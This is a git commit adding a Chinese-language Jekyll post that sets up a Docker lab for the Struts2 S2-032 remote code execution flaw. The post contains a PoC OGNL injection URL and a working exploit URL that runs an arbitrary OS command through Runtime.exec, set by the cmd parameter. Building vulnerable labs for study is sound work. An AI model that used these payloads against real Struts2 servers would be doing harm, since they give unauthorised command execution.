(Add Vul: Struts2) s2-032

This commit is contained in:
Medicean 2017-11-04 17:56:02 +08:00
parent ae2052fdab
commit 543eacae04

View File

@ -0,0 +1,69 @@
---
layout: post
title: "Struts2 远程代码执行漏洞(S2-032)"
date: 2016-06-16 16:18:17 +0800
image: '/assets/img/'
description: 'Struts2 远程代码执行漏洞(S2-032)环境'
main-class: 'hole'
color: '#B31917'
tags:
- Struts2
- RCE
categories:
- Struts2
twitter_text: 'Struts2 远程代码执行漏洞(S2-032)环境'
introduction: 'Struts2 远程代码执行漏洞(S2-032)环境'
---
<style type="text/css">
.highlight pre{
white-space: pre-wrap;
}
</style>
## Struts2 S2-032 漏洞环境
### 说明
官方 demo 中提供的 war 包由于添加了 jsp 拦截器,配置会有问题,修正了一下。
### 漏洞信息
* [S2-032 官方公告](http://struts.apache.org/docs/s2-032.html)
### 获取环境:
1. 拉取镜像到本地
```bash
$ docker pull medicean/vulapps:s_struts2_s2-032
```
2. 启动环境
```bash
$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-032
```
> `-p 80:8080` 前面的 80 代表物理机的端口,可随意指定。
### 使用与利用
访问 `http://你的 IP 地址:端口号/`
#### PoC
```
http://127.0.0.1/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086
```
若页面显示:`1008660253718` 则代表可代码执行。
#### Exp
执行命令(所执行的命令在cmd参数处指定)
```bash
http://127.0.0.1/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
```
### 改动日志
20160731
* 修正资源为本地路径